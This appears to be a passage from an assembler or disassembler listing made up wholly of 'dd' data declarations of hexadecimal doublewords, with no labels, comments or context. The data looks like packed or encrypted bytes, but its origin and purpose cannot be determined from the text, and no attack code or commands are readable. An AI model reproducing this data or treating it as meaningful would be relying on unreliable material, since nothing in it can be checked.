5DC4B7EEh, 0E98290BAh, 0CB91B971h, 5078C680h, 5F21A818h dd 0B0D2FCF2h, 28208EEAh, 5BC14026h, 0C4D5E298h, 60B73F16h dd 9D4F2850h, 947D89C2h, 48BA051Eh, 0C0611D6Dh, 1558AD77h dd 9822C4Fh, 0E1202238h, 8678DA42h, 72C3292Eh, 8B07210Eh dd 5D48097Bh, 0DD48BC2h, 2776808h, 85573F2Dh, 41860BF7h dd 0C42C6682h, 38F89574h, 0F852E6EDh, 4A71BE59h, 3F4829ABh dd 60985EB4h, 79EEE350h, 0A87B46BEh, 6ECCC927h, 5B1E9DD3h dd 4AC5C4Eh, 85848158h, 0F9FC4BEEh, 1120A4B5h, 0E0C74123h dd 44125B5Dh, 25EB5E71h, 0FCF6E5CCh, 0DA911A19h, 69BF5780h dd 9141D59h, 6EBE4AB8h, 0D1255F5Eh, 0DDCB0826h, 0A308EF2Ch dd 0E4D925D2h, 676DC60Eh, 33F2B2E6h, 203464FCh, 41BC9FF9h dd 857D88h, 0B233C7BDh, 0C5058136h, 0DF35F75Eh, 0E185E3C2h dd 172E6E63h, 0B9A508Eh, 9F95D3Bh, 37F52BCDh, 804A1AD7h dd 4836AD5Eh, 0D1292E07h, 690820A5h, 0E1824C87h, 6DD63F88h dd 7CDA3560h, 9687529h, 0B163FABFh, 7FEABAD7h, 0C5893EECh dd 1544F185h, 32939CBBh, 0D5C8564Eh, 0F65B7859h, 29A0A8D8h dd 4AC5EEE8h, 5EBAF4FEh, 47157913h, 0B2DBFFC1h, 205ACB6Eh dd 3B1D273Ch, 80D280FEh, 0DB6D708Bh, 0F3E9252Ah, 0BF7660E2h dd 2A1F463h, 70D4C379h, 0BED677B8h, 0C17DB100h, 0BAA8E90Dh dd 815B5E9Dh, 7BD3D7F6h, 914BFEE2h, 2A585040h, 0FBD020E2h dd 3368A41Ah, 19EAE26Ah, 25E91D42h, 4036665Ah, 85400391h dd 526800BAh, 0F1B93E88h, 2C7F55CEh, 5ABE5F27h, 35C70085h dd 0F1817A13h, 69047B1Fh, 76B4E93Dh, 0F66850AFh, 0EDA04118h dd 262C23CDh, 321FDF2Ch, 2A2D1E60h, 68430275h, 275923A4h dd 0E849F5BDh, 52ED5B54h, 0D5DAC57Bh, 3EBAA6A9h, 0E62D2568h dd 0D163200Fh, 3F90C29Ah, 773E6D01h, 0D8F74043h, 35D00580h dd 0BC88C195h, 0E9127BB0h, 8DB2B5E4h, 8048129Fh, 26F2B959h dd 0F870DC30h, 1B785F28h, 4D1F715h, 79DE140Bh, 4489DDA4h dd 7E1CB4E9h, 17108ECEh, 0E2077E84h, 23D3448Ah, 0B1B04DB2h dd 0CE435B42h, 38515982h, 29DD7813h, 0C51478DEh, 3382F1F6h dd 9543AA75h, 914F3758h, 40D29A22h, 0D6090D61h, 9D08C508h dd 0C28007D5h, 56CA3033h, 4095D2F6h, 80E76974h, 2A1E272Dh dd 0C28C76B8h, 0AC69DE5h, 0B906320Fh, 27ED16E9h, 0F3117261h dd 0B2553DABh, 0BB5155B0h, 308C448h, 0AE4B3BEEh, 0D7280C6Dh dd 33C21786h, 50B28FECh, 8C2C514Ah, 8D7A17EEh, 5A7DAE43h dd 4E65D1D9h, 0AA92D563h, 9DDBA136h, 0A9E94D10h, 59EA0A92h dd 78913B4Fh, 0BF006FC9h, 46712647h, 0C1BC81BDh, 0E3105EBh dd 585245D0h, 1E1803DFh, 37C27F42h, 4B557D3Ch, 1484B100h dd 0B6525D6Ah, 245A1B0Dh, 0BEFC80A3h, 4E90FB1Eh, 0F197C14Bh dd 0B6DC2BD4h, 8D4A9C56h, 0E897D0E0h, 224AE1D2h, 4E17F1A0h dd 7EBFDDDFh, 7F103C52h, 35EF93DEh, 5D0BBBBAh, 0C9938418h dd 0E6BD5500h, 0B84CF19Ch, 0DE5D2572h, 27625A3h, 0D4AFC69Dh dd 0C3645A69h, 246E8F27h, 0E9461C93h, 293B9DAFh, 2422A5EEh dd 49AFED3Ch, 6D485B63h, 5588664Bh, 0FAE4E557h, 0D76DAB96h dd 55896897h, 40F4796Ch, 0D0E44748h, 97BF8598h, 7584CABAh dd 813A6188h, 3637C168h, 0BDE11656h, 98588E8Ch, 7A5D31C5h dd 3ECB019Fh, 7BE01634h, 10B2DF56h, 0EFA07FC0h, 88BB4C59h dd 49194827h, 0C380803Fh, 0B5515304h, 78C1FE14h, 0EB05A644h dd 4BDAECC6h, 0A5AAF93Eh, 9D1FD2AEh, 0F15FBCCAh, 9F7B09C0h dd 59582614h, 0E9072DEAh, 206F6902h, 4D411A26h, 93136B5Fh dd 48591CFEh, 442D7F43h, 28311A1Ch, 0F14C4858h, 804312B5h dd 4C0377D4h, 938B823h, 7F823755h, 8A08DFEh, 0B141CD0h dd 58592933h, 58A3836Ch, 1481051Ch, 629EB3Eh, 96C9ED96h dd 130B46Ah, 391B739Fh, 0F902C296h, 96431061h, 0EAC05900h dd 29E28007h, 0B03A1895h, 7B009773h, 92E9CB0Ch, 5B328595h dd 0E9B278EBh, 0B403BE7h, 0F97FF0F5h, 799826h, 0ECFDA669h dd 6C6A4005h, 286F235Ch, 3D91072Dh, 17BE008h, 161201B9h dd 0A23CE842h, 10B014D0h, 357B1CBCh, 9C785EDh, 0D29A39D7h dd 0FB884ADEh, 0F4C38138h, 0EC741DBEh, 0E9BD952Dh, 0BBE151F8h dd 0AC70946Eh, 37E0378Eh, 7F59EB02h, 50454768h, 0D1B15107h dd 822ED9F6h, 0D76C21E9h, 123FC447h, 2CFBA3C1h, 479D5B90h dd 0A3E98464h, 4231BE38h, 942660C1h, 5685505h, 86804569h dd 9773C8B5h, 0B83C6095h, 0E90BC493h, 2429E8CDh, 4F285430h dd 167DE2EFh, 0E3025EBCh, 0E9F616ECh, 22C4FDECh, 0D24A6841h dd 0C27E77B3h, 2CD48D0Ah, 20CC5749h, 65B9E924h, 0AB0152B8h dd 1389F800h, 14977B06h, 9962C2E8h, 2803E08h, 0DC025222h dd 9C9A0250h, 3169702h, 40105C1Ah, 0DD106A81h, 230C1011h dd 187B1C10h, 0E928C465h, 0C708C6E7h, 8031188Dh, 2D17086Fh dd 184C7190h, 7F28A6D0h, 0A3448094h, 0FAFB10C6h, 72182008h dd 31682E20h, 752807D0h, 0D808B605h, 50F63308h, 8110E120h dd 0D619D561h, 119C94Eh, 0C201F751h, 25089554h, 0B56D1884h dd 81245D10h, 44E19C48h, 1B882060h, 20C56420h, 0DF20D15Eh dd 57B83182h, 884E7A10h, 8D24008h, 83088226h, 7EE50CD9h dd 0F540E630h, 1088EFB4h, 0C508FF31h, 0C1680896h, 8CB3E0Ch dd 186662BCh, 0A2034C3Ch, 0A610100Eh, 0EA4E1991h, 77FF5108h dd 0BF94A818h, 0D718C49Fh, 20F20409h, 822B406h, 20552731h dd 888608Eh, 40CA29Fh, 40D42032h, 8CFD4885h, 85B8210h dd 0F48A54D2h, 2B10C438h dd 0DBC2065Ah, 91373208h, 0B4A39018h, 819D7B2h, 96182FDCh dd 0AA46DC51h, 0A4A3A802h, 8190147h, 6C18AC4Ch, 842BB451h dd 7D92088Ch, 0B140BA20h, 104A6315h, 4132353Bh, 0A21018B8h dd 2416AE4h, 4B038A39h, 0A12010E4h, 949A186Eh, 0DC950110h dd 20A4EA08h, 0CB6233CAh, 0E4FF6E1h, 1D08D888h, 0F3DA0848h dd 8F16108h, 620C7A8Fh, 0CA6710A5h, 8C90F751h, 73207FC7h dd 0B9088666h, 8E3B32B1h, 3C496808h, 0C2E54701h, 0ACA6EEBEh dd 7B62F1F0h, 4F88408h, 41A8916Eh, 5310886Ah, 0A8210885h dd 8274708h, 7E0ABB5Eh, 7892B87Dh, 85B9848h, 908E059h dd 9B030C84h, 0DD549010h, 198199F4h, 7EBEA453h, 4D34069h dd 3230C94Dh, 480D0871h, 0C97FE1FCh, 24221B10h, 0A504182Dh dd 0BD62D491h, 19CF001h, 108DF476h, 1179E3EEh, 2CAB094h dd 0E620488Ch, 81DB839Ah, 75250810h, 8CE41524h, 0D4088037h dd 40182162h, 0E1AB02F7h, 34C6002h, 82A30A0h, 0F4639832h dd 98D5D79h, 0E8FC9C29h, 8E77A492h, 1E4B0CE6h, 0B902BF8Bh dd 0E3A04818h, 2752C47h, 8963EB78h, 7AA7B90Eh, 105003Dh dd 49408F44h, 750BC90Bh, 0E748BF7h, 3DE814Bh, 0DC29B9F0h dd 3C0331Eh, 304FB10Fh, 52AC2C0Fh, 0DAF665B2h, 992D6AC3h dd 9DE701EAh, 1E9688EDh, 4B52270Eh, 0A34B0E0Bh, 5D6005Ch dd 4112FE26h, 0E153C31h, 0C01AB45Ah, 0A39015F1h, 72E92F36h dd 0ED813976h, 45830FA2h, 0A02EBC2Fh, 7526E9EFh, 6E30B72Fh dd 70B5F089h, 68EA08ABh, 990308C2h, 33A971Ah, 0DF69230Ch dd 28E6016Ah, 0C410883h, 2FAD3014h, 64033817h, 30BBB301h dd 0C53EA4BFh, 0E9D4D0CFh, 82CE0E03h, 0D9D1C449h, 13183EE6h dd 0EF8012CFh, 0D08410C9h, 15799FFFh, 790F76Bh, 54C03611h dd 2777F681h, 0A71C5165h, 7EE7DBE8h, 0F3CE4F1Eh, 0E6FE253Bh dd 5BBD0456h, 0F8449356h, 0C381628Fh, 0EAB9E46Bh, 0DFF7FD50h dd 0D55F090Eh, 77F8BECh, 4A269D38h, 0C6138FEh, 0CB1C4980h dd 16552DA8h, 195A9D17h, 90BE5621h, 5D5E1274h, 2A3B29EBh dd 4B9879A2h, 25BFBCE9h, 46341449h, 73291083h, 0BAF84A86h dd 0E4680E70h, 0DA4CB70Dh, 6968C5BFh, 8B629D7Eh, 75ED550Ch dd 1B962688h, 83CF5858h, 16E165F4h, 0C66381B1h, 77E57E8Eh dd 0EE8D3220h, 0C4A94E2Ah, 0F77EB073h, 81C1D83Ah, 7AB3502h dd 0B47B15CEh, 82FD4FE6h, 24685C48h, 567AF77h, 8457416Dh dd 2D0F40EBh, 1B6C57FDh, 2FC773F4h, 9C730134h, 7F09A73Ah dd 25614FBCh, 295E6849h, 9AF25DAFh, 0A235A6C0h, 155A65h dd 0EE2F9105h, 4CC1E928h, 0CA4122CEh, 5C83D776h, 0FAD4C580h dd 68154853h, 0C231473h, 0AEB6AA52h, 7E26106Bh, 833D47B3h dd 0C057143h, 3CE51EF4h, 1287A5E0h, 0AD1F7CEh, 851B14B2h dd 0AE1CAB68h, 18A28767h, 82F5794Eh, 2E805779h, 75774E40h dd 0F71B9009h, 2B2D39D6h, 4F77DE7h, 62684096h, 0D864AC14h dd 49ECE906h, 0E8179EA3h, 0E5C0F408h, 55167A69h, 6D51C846h dd 3C5BC1C6h, 3EBC1E51h, 5200E829h, 3C28AE68h, 0A4F0B578h dd 355060Eh, 7CC2C035h, 0D6702F07h, 6358AA18h, 4872A218h dd 0D101281Ch, 5953515Ah, 0F6B82F5Bh, 0BA010869h, 80860BE9h dd 0F5814D92h, 4D922782h, 135B6952h, 0B031BCB0h, 0B54430E9h dd 0E2B91B48h, 64FA0CD2h, 7A53AE0Eh, 7C85BDE9h, 858FAED4h dd 27AEA35Ah, 2FAF4CF9h, 87FC29C7h, 122B2E51h, 30452D08h dd 0F01802Fh, 0DBF72784h, 49D6C5E9h, 535D040Ah, 2C7A8B7Bh dd 99A097CDh, 60E7BADAh, 1B6CC224h, 0A7348C1Fh, 9E64D0F9h dd 7387ED8Bh, 0DCB363D3h, 99164EE7h, 0F7F3D8D9h, 9C28606Dh dd 2A1E812Eh, 27FC3201h, 55D3A55Eh, 0CA4F1DF8h, 48BF12C4h dd 54DD134Bh, 0F6156222h, 0A424E77Fh, 0FF290CF2h, 0E0953002h dd 0B5FCB8E7h, 80A4E1D3h, 900D1238h, 55C34D0Bh, 0DC971CBCh dd 0E16A62B7h, 5080195Ch, 68350CB8h, 44F1FB1Eh, 0BC34B392h dd 0C55ECF1Dh, 9520E3DAh, 2C4EF1C3h, 18FD47E4h, 6C68BB3Ah dd 81171C49h, 35B4F90h, 553D9342h, 2D25C566h, 4185E533h dd 0A338B1E9h, 0DE2DCF92h, 4798BFB6h, 0B6BA1E4Ah, 1A5B5512h dd 2B9342Ch, 4BE4175Dh, 0B255CA31h, 0E984C016h, 18E5D5Eh dd 0BEE21F9Bh, 0F7B9BD68h, 9CA5A14h, 82827583h, 84852C4Fh dd 0E51307A7h, 0A7246BD7h, 0E27612EAh, 8791D65Ch, 0C86E8D97h dd 64E689Ch, 69E12AE4h, 135FED5Dh, 2356DFB3h, 122CB092h dd 4971776h, 0AA749DF5h, 65DDADE3h, 0CCAEB47Dh, 0FAFFAB54h dd 0A906476Eh, 0E9DED0DAh, 3C1A5B30h, 16C8FF48h, 89586400h dd 0E9C1017Ah, 0E565F834h, 0EBCFBBFCh, 482936ABh, 9F2D147Fh dd 0DA4E71E2h, 299BCD2Eh, 0FE530142h, 0D8892F90h, 30C727DDh dd 8883F514h, 8316ED8Eh, 0BF3AB7FCh, 7F439F75h, 0E259131Fh dd 30B152A7h, 5A48E509h, 3E1EEF05h, 4ACD7042h, 0E038166Dh dd 4537680Bh, 0FA5E93B0h, 0BB0F9BCh, 5E2866B5h, 0B16E7EBh dd 0EC0102A5h, 4F38F67Ah, 940DB352h, 0E6C512F1h, 2DA1F7E4h dd 86584961h, 0E9092043h, 7E142E7Fh, 0ACC38012h, 0D0590A97h dd 0CE993450h, 2FF3BB1Eh, 99F15D25h, 5404D5E5h, 1CFC5BE3h dd 22207ECDh, 44039D88h, 0A72CE828h, 59665AA0h, 80B63852h dd 0D049C694h, 0DDE9AC06h, 0B73F30F7h, 25EF00A8h, 685BFE08h dd 0C263E7FBh, 30F9B403h, 47E958E6h, 0B5BD4C4Dh, 0EE289212h dd 6805BBB4h, 465F9033h, 5A71DE54h, 0F1E1684Eh, 0D25AE92Bh dd 0E0B382BBh, 7B5F2D49h, 0B24F10A2h, 12E0C674h, 0E1C12668h dd 50F3080Ah, 5C333828h, 0E1540CAEh, 660035D2h, 529AF650h dd 5E721D59h, 0B3077BF6h, 82D93058h, 2654205Bh, 0E8A89D42h dd 276989F9h, 0AD78648Eh, 8C600782h, 13F45D41h, 56F4409Dh dd 0EC4D4B2Fh, 0CB061BECh, 0EAC74A8Dh, 0DC21E06h, 453020CBh dd 5C02AD90h, 21392E7Ch, 0B2E6FFD9h, 9E93E91Ah, 0A9EC5730h dd 4EA1A220h, 0D4B18042h, 5051C44h, 434C5D90h, 9AD84FFh dd 0DA4C5A07h, 0BC7EBF21h, 0B8590F13h, 0FC95C44Ah, 17F4B3ABh dd 0DDC1F8ABh, 0A3E301EEh, 18BC491Dh, 63C9688Eh, 3289FBF1h dd 0BFFC44B9h, 648F05E0h, 31016A0Eh, 24E94ECDh, 0F4AB7C03h dd 4A16EF13h, 41FA712Bh, 9086E45h, 4614964h, 310C02BDh dd 54FC5BDFh, 48A0A6C4h, 7D2277B1h, 28ACCBB0h, 262FDFF0h dd 52EDB58h, 5513B368h, 464AC75Dh, 0FFD4E9B1h, 32509089h dd 6BE513F3h, 58C649F8h, 35056A01h, 183B27F8h, 0B86800FFh dd 2AAF4032h, 4FC1315Eh, 3A84842Eh, 0B91DE468h, 9EF785CCh dd 2408B988h, 1E149F28h, 85139EBh, 0C3E9F186h, 0DFFC2DD0h dd 58E5751Eh, 848025D3h, 955AD328h, 0B050A660h, 260C7C60h dd 0A8FF76E9h, 263BB769h, 1F14B450h, 0CC8379C4h, 66DCF6A1h dd 4599275h, 10F99512h, 0FE4A37B9h, 60B6D328h, 0A6B90A4Ah dd 67B0FD1Dh, 1BD0D152h, 262BB19Fh, 7415B62h, 0E2E728C0h dd 0A05FB36Ch, 7E46E2E1h, 22B80441h, 84BE81B9h, 0ED7980AEh dd 0A3306CABh, 125C0C2Ah, 0EF144EF2h, 4111175Bh, 920140Ch dd 0ACC29C29h, 3C970575h, 0DDCDAF01h, 7057CD48h, 28F3804Dh dd 0D1503639h, 371DDCC7h, 78099327h, 3CEE5D72h, 0A74EB14Ch dd 41CE0C7Bh, 0BA586892h, 5B51755Bh, 66DFAD59h, 0E3E6500Ch dd 0B76B98D0h, 30003D1h, 3D7A2C05h, 8179A3h, 2B5C7101h dd 4565BE56h, 63BF8677h dd 721E0750h, 6126CA4Bh, 0A65ABCE9h, 1C34FBAEh, 91C081Ah dd 3A6D0614h, 97C101E1h, 5D2C6222h, 2807F701h, 6C9B28CBh dd 1F42069Fh, 3AE195E2h, 47626053h, 0B12FB841h, 30E22ACAh dd 7461A04Fh, 52C15F1Fh, 58BCFB12h, 0C44CB2A4h, 98FF779Ch dd 0AFE9DC84h, 34466612h, 0EA0ADAE6h, 0D0EF8884h, 46380A47h dd 0A20C2160h, 0B56A451Ah, 68A09B6Bh, 44951219h, 2E4E24FCh dd 40ED9E01h, 57685052h, 5D48286Eh, 3D0A109Ch, 113A0C62h dd 0E5BB5B04h, 0A49C30AAh, 0B50580h, 2D541C47h, 39333BE3h dd 0E09D0890h, 2668ACE6h, 0C2AA1EA4h, 32FDF99Ah, 0A6627D1Ch dd 0C6259CB8h, 10E5D983h, 7C468FDCh, 5C542857h, 0BFB67B4Dh dd 76A7D3F1h, 0F5D84291h, 54BFC320h, 0AA5D517Ah, 0BE52B6Bh dd 31300E68h, 0CB0802D1h, 80415B80h, 35BEFC1h, 0E68151F0h dd 54701AC5h, 8D41233h, 5874D403h, 0AB0C0922h, 0CE006CF4h dd 73B3E9F8h, 71EC7C9Ah, 7336E697h, 726925E3h, 0FCA7D5F1h dd 3D6259ECh, 74C515A0h, 0BB4A84B1h, 0D9006214h, 507EFE40h dd 0C01BFB8h, 79354D8Dh, 0E9C8FB61h, 0DDAB6985h, 58EFC823h dd 34F91130h, 90941284h, 158E2077h, 75DF2126h, 98AB5392h dd 0A820E930h, 68550C3Dh, 9E173366h, 0B07A8441h, 0C7A4990h dd 0D4A42A5Eh, 0B12460A4h, 8F5276EAh, 2F11048h, 50B53149h dd 583CD409h, 0D89DD2F7h, 808D76DCh, 8105018Fh, 8322B031h dd 2945D504h, 88525001h, 5796E4FEh, 0BC08519Fh, 0EF81F160h dd 0AB0B378Dh, 0D1F9293Eh, 0BDB020FFh, 457FFE42h, 165F49B6h dd 4DC8BFACh, 98BDF48Eh, 5E6CEC3h, 6847126Fh, 681EB5B8h dd 0B40A582h, 71C05D56h, 0E874B8h, 642D7FB6h, 294ED511h dd 705F028h, 354AE380h, 0B940F79Eh, 0B8B62515h, 0C7A45C60h dd 0C750899Dh, 0C62A1D6h, 8338771Dh, 0AFB09D61h, 8A29174Fh dd 0CD5E436Bh, 5DE1DF23h, 3D6DD881h, 0C54CF827h, 30E02844h dd 809A0F35h, 281C62F2h, 0F8D45AD0h, 0EF863CE4h, 4546C167h dd 0C3300FA5h, 5916C4CCh, 95FB815Ah, 0A15F2C14h, 6DAD123Ah dd 32A76602h, 56234F2h, 113C47Ah, 7E59EF68h, 0E9C2F7F2h dd 0CCFF9364h, 5A9E4062h, 2E744BDh, 0C67C78F5h, 0B2572108h dd 54925A46h, 3168A49Bh, 5C5B18F5h, 0C40468F8h, 0EE177480h dd 0F37F6E44h, 68092815h, 0E7555FB4h, 6166ADFFh, 0A1685309h dd 2359B00Ch, 15CA275Eh, 13F442D2h, 7A1E5327h, 7B790212h dd 4C0172BAh, 25E1A7Dh, 8368510Ch, 3A29591Ah, 0A2CD0826h dd 2375297Eh, 0F9C80C67h, 0E4A05FBEh, 55996838h, 80723A4h dd 0D77EEA6Ah, 819749C3h, 9F541A3Bh, 2A0F9FEEh, 0ECEADD1Ch dd 3168F264h, 99FA42D4h, 6146A4DBh, 0A84A7C11h, 1D1A15A4h dd 68B880F7h, 2813A0Bh, 5D4987C2h, 0EB7D4A1Ah, 102A88C1h dd 0E4E9196Eh, 41B37621h, 4FB2BD0h, 6A178D01h, 0E2633BD1h dd 0D70E84h, 596ADEBFh, 0C781001Dh, 0E474FB73h, 614930E9h dd 6971140Eh, 7C0804Ch, 64216E84h, 122FF4D3h, 0DAEBC4C4h dd 40F49A6h, 181E106Fh, 256BAFC3h, 5D6310Dh, 0F9427C82h dd 6EFB5576h, 514FA24h, 165E2F0Fh, 0B93352D3h, 81F9F44Eh dd 0CBDFF100h, 3BE9FBFEh, 5398B791h, 1E7B4F02h, 8292369Eh dd 0C9EECC93h, 0B0FFA527h, 255FAFC6h, 7EDC2F18h, 1CD008A0h dd 84AC4B14h, 6805C85Bh, 791FD82Dh, 17D04F7Fh, 86ECF107h dd 0BF4E3D3h, 21B06852h, 25FAE933h, 806E0E35h, 46A7CF40h dd 0C70C430h, 98F272FCh, 42C82822h, 0DBF625C2h, 0F41E16F6h dd 0D114A7FEh, 0E10EAD19h, 0CB178B0Fh, 193264DFh, 4D85A3AAh dd 0DCD8CA64h, 0B0E98B38h, 7F7D01D6h, 0C9EF160Ch, 0D2333CDDh dd 0E95FDF46h, 0A02E89E7h, 66CA8180h, 2AB8256Dh, 0DD034850h dd 87E9B1CCh, 0ED23057Eh, 87AC08B0h, 0D106A402h, 3D1BCBC8h dd 3868908h, 0C9D0F605h, 0F06A5351h, 5B26FDF4h, 21E188Ah dd 7595EA6Dh, 4C056A06h, 0D0345391h, 69711BF1h, 8D4ED74Bh dd 5B0020AEh, 9A125439h, 0FA8DD01h, 4508908h, 0FA126B9Eh dd 3018669Ah, 8EC14F20h, 4B1287F8h, 4DC6D1F7h, 0DFCA2046h dd 0FAC4C49Dh, 14426568h, 84A6855Ch, 0DCA0E1C9h, 0BF0757F3h dd 674E3CD9h, 50C44FD3h, 41A1D31Bh, 85A17B22h, 522DEE0Bh dd 113A6232h, 7F69E07Eh, 0D1095E2Bh, 8911222h, 7B2D7845h dd 48840DFAh, 40612522h, 0FA9A3F1Eh, 0F231A201h, 124FEE9h dd 0DEE8BC2Bh, 5DCF89C9h, 99688090h, 0E7996C76h, 8A8C0797h dd 0CC432FC6h, 9F10FD56h, 5E204D50h, 7B8FF76Eh, 0D4306A2Fh dd 0A0B154EAh, 78C55749h, 8A497549h, 57DA74C3h, 7B695677h dd 12E8003Bh, 243C5E1Fh, 207FFA01h, 5A8C8008h, 0B710F07Bh dd 70516741h, 441AF0Ah, 137ABFD5h, 4E2BABF1h, 1CF8B5Eh dd 1F0D5E96h, 4578DD87h, 0E9450A74h, 4014D1F3h, 78067BEAh dd 5D600175h, 375057B4h, 60DAF34Bh, 3F631904h, 0C12F0DD2h dd 4993A4D9h, 0E3040556h, 0B80080B4h, 4CC54EF8h, 588D9295h dd 0DA681351h, 0B7A8CC76h, 0FE88B207h, 0B373665Bh, 0B7D883A2h dd 0A560483h, 0ABB05014h, 0EE7935E2h, 0A4105A84h, 0D8D85044h dd 74715602h, 0DC17A9E9h, 2240589Eh, 0F909292h, 0AE5D083Ah dd 34C13474h, 0B689D40Bh, 4C57CA3Bh, 84234AB9h, 21C5AF71h dd 5902DBABh, 0B0221310h, 68F1A542h, 4AD752D6h, 3A7DAB0Ch dd 0E9EC5FCEh, 80CCE927h, 0F7EF31BCh, 0D982B5D5h, 0CA488219h dd 4CBD1E5Dh, 55A7F410h, 652D6339h, 5FA2B78Bh, 0DB44C721h dd 8FE69935h, 0C11CA9E8h, 6605EF4Ah, 0F0F705F1h, 8F8DBF98h dd 0A150283Fh, 0BE03E292h, 44B2BC5h, 0F84ADA4Eh, 9C97A4C3h dd 866861C6h, 17ED2341h, 331264E9h, 5FD81DC8h, 198F4080h dd 1796D18h, 8DF7F4F9h, 3BC70082h, 0B00FC72Dh, 0CC749F79h dd 0BACFE9F0h, 0BC5E5B74h, 12EBA4AEh, 0FFE30EF3h, 477E5A2Bh dd 0F0303F07h, 0B2CE1D6Fh, 0C3D0EF90h, 158C708h, 0DAF64312h dd 79955FE9h, 41C93E79h, 48E1F624h, 0AD05FA02h, 0C379464Ah dd 2026AFA8h, 0C90D38FEh, 0F8C14E88h, 4F288120h, 9A28EAF0h dd 50D8FA75h, 0BC08C85Bh, 1AF30152h, 619ADA85h, 48FDFA53h dd 0D2234680h, 4FE4FD22h, 0E9C2D7F9h, 88030777h, 0B984DFEFh dd 0B7E3D3B4h, 0CD2AB303h, 0C39D227Fh, 58AECA1Fh, 805B0E8Ah dd 0EC6318C4h, 59BC017h, 34BC44F9h, 54388804h, 0FCBDCA19h dd 72A4CB01h, 0DF433662h, 2AB165D3h, 0F2676063h, 5D5A2618h dd 2702CD18h, 0EB723F6Fh, 6DE90880h, 5A260BB6h, 0D5FF6859h dd 0A7D1EF44h, 5B31FC13h, 18A9D3E4h, 6208052Dh, 0E34C78F9h dd 27A42DDCh, 7DE1CAB7h, 803B628Ch, 0F8AC557Bh, 0BF017720h dd 2A5C5481h, 1DE9C8F2h, 3591FD4Bh, 462FC9A6h, 3FFC52Eh dd 84AA7497h, 35FD19C7h, 14C69DD8h, 0E6465558h, 0B850D60Bh dd 1033A480h, 3F70EAE9h, 0DFB1E0A6h, 9C6CF08h, 0A730DFF6h dd 0C1FFD8B6h, 45017503h, 68CEEA52h, 20C50849h, 56F24B45h dd 98D124C3h, 88E38ECFh, 58C245D8h, 29D104BAh, 1058F393h dd 0C14C4DABh, 4FE7B510h, 5ED1ACA0h, 2FEFF4EFh, 0FE0A490Eh dd 38BA5609h, 145EE2Eh, 4C0D0940h, 791458D4h, 73725407h dd 0C9CF6030h, 1B0F6B40h, 9BF9E94Fh, 993B031h, 604BA201h dd 9963A649h, 0B2DDA558h, 623F4840h, 0A14FB00Ah, 5FE4DD8h dd 0BECEBE53h, 0E604EE4Ah, 95CD5209h, 0BBEF930h, 3345B29h dd 6397A075h, 0A0623D45h dd 302090F0h, 1A0C2C82h, 0A44B3FF3h, 0F91220A9h, 1CE2201Bh dd 0D7B0AA8h, 162B8E30h, 0B42C9BFh, 0F88979EDh, 3528B3E6h dd 0C1E2DBECh, 2951FB0h, 9713F61h, 3C64207Ch, 7A60E971h dd 0F3EF69C4h, 0EB8810F3h, 1BC65D2Eh, 0F95C8020h, 0C28A4AE8h dd 265CE90Dh, 74614728h, 2F2AC7Ah, 3E4D49BEh, 1573825Dh dd 343AFF45h, 13144C0h, 39B9095h, 57C2E143h, 8D908C14h dd 62B27AD3h, 0AABCAEDBh, 9E48B9E7h, 143268B0h, 0E54F8E27h dd 3C092FAAh, 93028EDEh, 817C70A1h, 0EE4C71ECh, 29AA917Eh dd 86AC2FD8h, 0D1B4ADC4h, 3808A840h, 5387C080h, 0A82113FCh dd 823A2082h, 4B3D06F5h, 287A09C4h, 0DBAB1D49h, 0A582BADFh dd 78F4D6C4h, 6E7C0BEFh, 2E4AECBFh, 0C28BD957h, 947FE7CCh dd 0CBC33A6h, 9BB9DE0Dh, 42A73FF4h, 13A6708h, 3409D221h dd 899054B6h, 30D71E53h, 0A2C52959h, 4B2053CCh, 514432A0h dd 0E92C1506h, 318E1F7Fh, 95F04BC6h, 28341387h, 1FA1D57h dd 0E84759BDh, 897627CCh, 72ED57FAh, 62CE906h, 3C07EC5Fh dd 58BE123Fh, 28012E2Dh, 4D2A6068h, 779DE0F5h, 0AA748628h dd 5330B04Bh, 16E7EDCh, 0E7814738h, 30C907D8h, 0EA01EF69h dd 87504B4Ch, 0D6C94EF7h, 5BA30AA8h, 66130B99h, 579B07F5h dd 948BF51h, 247A61E6h, 0BB070B2Ch, 0CBD734AEh, 0E31C57D4h dd 71631005h, 624DB580h, 4B0D2492h, 0CF762D6Dh, 8C3D3512h dd 7B4CD92Fh, 35E9B431h, 7DA123Eh, 0E0B91EEh, 0AA8A1713h dd 2DE9F938h, 1371F7C3h, 0BE5E688h, 1784ECD0h, 10820D11h dd 0CEBFA5FCh, 0CB3D031Eh, 0CB528374h, 4C7DC60Bh, 2006201Eh dd 2C475015h, 1740FE01h, 0EF6B531Ah, 0B341F98Dh, 5300284Ch dd 0D095D2B7h, 0E8807352h, 5BF90530h, 0BBF65166h, 0A159910Fh dd 0CE0873E9h, 0BC1DC1D0h, 7FBA82F9h, 0A97078AFh, 0B402165Ah dd 61D1865Bh, 0F9E694B4h, 8183CF3h, 60C53DB5h, 648D2B16h dd 314821AFh, 8947F453h, 0AAE9EB09h, 0C88027C5h, 7E9D3872h dd 0B85BF14h, 0C2639E24h, 324C7267h, 0E12CB90Ch, 0FFA5E421h dd 524BB000h, 0CFC68828h, 0E5031625h, 0B024ADE2h, 7E178240h dd 6498B0DAh, 34EDBD4Fh, 2786E292h, 4ADA51h, 0A841A9Eh dd 598EF281h, 0E96C7704h, 539565AFh, 1C405047h, 0CCFE8963h dd 62D881BBh, 46088F13h, 0A01FB32Fh, 0E90E2D58h, 3E8C626Ch dd 2C61CBFEh, 35046528h, 0A5A26FCAh, 1C08E9C9h, 1D3A495h dd 0BE2C21CBh, 7B043F6Eh, 29052E0Dh, 0D1E584F5h, 6F8268ABh dd 6493D5B6h, 0A0A98417h, 0C23A818Ah, 483C98CBh, 45525F4h dd 5EE961CEh, 0D7310751h, 0C95FA27h, 0C702D8B9h, 2C623396h dd 514F7AE0h, 7A2BB901h, 0E8E907F0h, 135F1128h, 0C3CAEF4Fh dd 0E761FB92h, 6800EA6Bh, 0CE9F3E78h, 59BB10Ch, 0B1EFE95Bh dd 2F91287Eh, 0BE905CDAh, 1F76EB82h, 0F1EA515Dh, 942DE17Eh dd 0E0D14A18h, 0AD1BCE00h, 0D0DCD0F5h, 956EF34Ch, 88278FAh dd 0FF69047Ch, 0E91A0F44h, 0D7A97CD3h, 0E3BF9496h, 0EC965AA7h dd 8B82B525h, 0CAE5D55Ch, 0FBBEBB09h, 17689777h, 0D029EC95h dd 26014A0Dh, 47DA7F8Eh, 3E580C80h, 0EB017B67h, 8816D90h dd 0F8D47A29h, 4BE41716h, 82AB850h, 10A75E9h, 3B49E500h dd 